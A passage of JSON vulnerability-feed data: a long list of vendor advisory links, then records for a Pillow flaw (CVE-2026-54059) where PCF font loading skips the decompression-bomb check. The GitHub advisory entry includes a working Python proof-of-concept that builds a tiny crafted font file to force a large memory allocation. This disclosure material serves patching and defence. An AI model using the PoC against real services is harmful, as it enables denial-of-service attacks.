35909","tags":["report"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3137","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54060","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55380","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59200","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59204","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3138","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3139","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3140","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3141","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59198","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497452","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497455","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497464","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497466","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_39127.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54059","tags":["advisory","report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54060","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55379","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55380","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:48759","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48759.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:48760","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48760.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50221","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-42697","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47597","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47598","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47599","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47601","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47602","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47604","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47605","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50221.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2332","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458187","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-2332","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2332","tags":["advisory"]},{"url":"https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf","tags":["article"]},{"url":"https://gitlab.eclipse.org/security/cve-assignment/-/issues/89","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12515","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489812","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12515","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12515","tags":["advisory"]},{"url":"https://github.com/Katello/katello/pull/11712","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54297","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492252","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54297","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54297","tags":["advisory"]},{"url":"https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-57236","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492952","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-57236","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57236","tags":["advisory"]},{"url":"https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5v8h-3h3q-446p","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50222","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2396054","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482734","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-44867","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48096","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48147","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48150","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48303","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50222.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-9230","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9230","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9230","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48526","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48526","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48526","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50223","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2460425","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500043","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-44868","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48146","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48289","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50223.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48864","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48864","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48864","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59197","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59197","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9695","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50263","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-44866","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48160","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48161","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48162","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48302","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50263.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50319","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467822","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484099","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484207","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484377","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484875","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489127","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500041","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500380","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50319.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12383","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12383","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12383","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27145","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27145","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27145","tags":["advisory"]},{"url":"https://go.dev/cl/783621","tags":["article"]},{"url":"https://go.dev/issue/79694","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5037","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33811","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33811","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33811","tags":["advisory"]},{"url":"https://go.dev/cl/767860","tags":["article"]},{"url":"https://go.dev/issue/78803","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/qcCIEXso47M","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4981","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34993","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34993","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39820","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467820","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39820","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39820","tags":["advisory"]},{"url":"https://go.dev/cl/759940","tags":["article"]},{"url":"https://go.dev/issue/78566","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4986","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-40898","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-40898","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40898","tags":["advisory"]},{"url":"https://github.com/quic-go/quic-go/releases/tag/v0.59.1","tags":["article"]},{"url":"https://github.com/quic-go/quic-go/security/advisories/GHSA-vvgj-x9jq-8cj9","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42499","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467809","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42499","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42499","tags":["advisory"]},{"url":"https://go.dev/cl/771520","tags":["article"]},{"url":"https://go.dev/issue/78987","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4977","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42504","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484204","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42504","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42504","tags":["advisory"]},{"url":"https://go.dev/cl/774481","tags":["article"]},{"url":"https://go.dev/issue/79217","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-5038","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44545","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44545","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44545","tags":["advisory"]},{"url":"https://github.com/django/daphne/blob/main/CHANGELOG.txt","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59885","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59885","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59886","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59886","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50336","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6#Upgrade","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2508155","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50336.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-18141","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-18141","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18141","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:52551","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500057","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_52551.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54058","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54058","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54058","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9719","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93","tags":["article"]},{"url":"https://errata.rockylinux.org/RLSA-2026:39127","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622626-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1270404","tags":["report"]},{"url":"https://bugzilla.suse.com/1270409","tags":["report"]},{"url":"https://bugzilla.suse.com/1270410","tags":["report"]},{"url":"https://bugzilla.suse.com/1270411","tags":["report"]},{"url":"https://bugzilla.suse.com/1270412","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54059","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54060","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55379","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55380","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20262875-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263268-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271418","tags":["report"]},{"url":"https://bugzilla.suse.com/1271419","tags":["report"]},{"url":"https://bugzilla.suse.com/1271420","tags":["report"]},{"url":"https://bugzilla.suse.com/1271421","tags":["report"]},{"url":"https://bugzilla.suse.com/1271422","tags":["report"]},{"url":"https://bugzilla.suse.com/1271424","tags":["report"]},{"url":"https://bugzilla.suse.com/1271425","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54058","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59197","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59198","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59199","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59200","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59205","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-54059","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8999-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-54058","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-54060","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-55379","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-55380","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59197","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59199","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59200","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59203","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59204","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-59205","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2014-3589","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2014-3598","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2016-0740","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2016-0775","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2016-3076","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2020-15999","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2020-35653","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2020-35654","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2020-35655","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-23437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-25289","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-25290","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-25291","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-25292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-25293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-27921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2021-34552","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2023-44271","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2023-50447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-28219","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-4775","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-54059","title":"Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T18:46:09.433Z","modified":"2026-07-07T16:57:53.021Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T13:37:58.613221Z"}],"euvd":[{"id":"EUVD-2026-41899","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T18:46:09Z","modified":"2026-07-07T16:57:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:11.442824Z"}],"ghsa":[{"id":"GHSA-8v84-f9pq-wr9x","title":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 \u003c\u003c 0\nPCF_METRICS  = 1 \u003c\u003c 2\nPCF_BITMAPS  = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"\u003cII\", 0, 1)\n    metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"\u003cII\", 0, 1)\n    bitmaps += struct.pack(\"\u003cI\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07","status":"published","published":"2026-07-20T21:08:27Z","modified":"2026-07-20T21:08:28Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T14:40:47.245721Z"}],"nvd":[{"id":"CVE-2026-54059","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.","status":"published","published":"2026-07-06T19:17:08.127Z","modified":"2026-10-25T20:10:00.147Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-789"],"updated_at":"2026-11-02T14:12:28.040501Z"}],"osv":[{"id":"CVE-2026-54059","title":"Pillow: PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","description":"Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 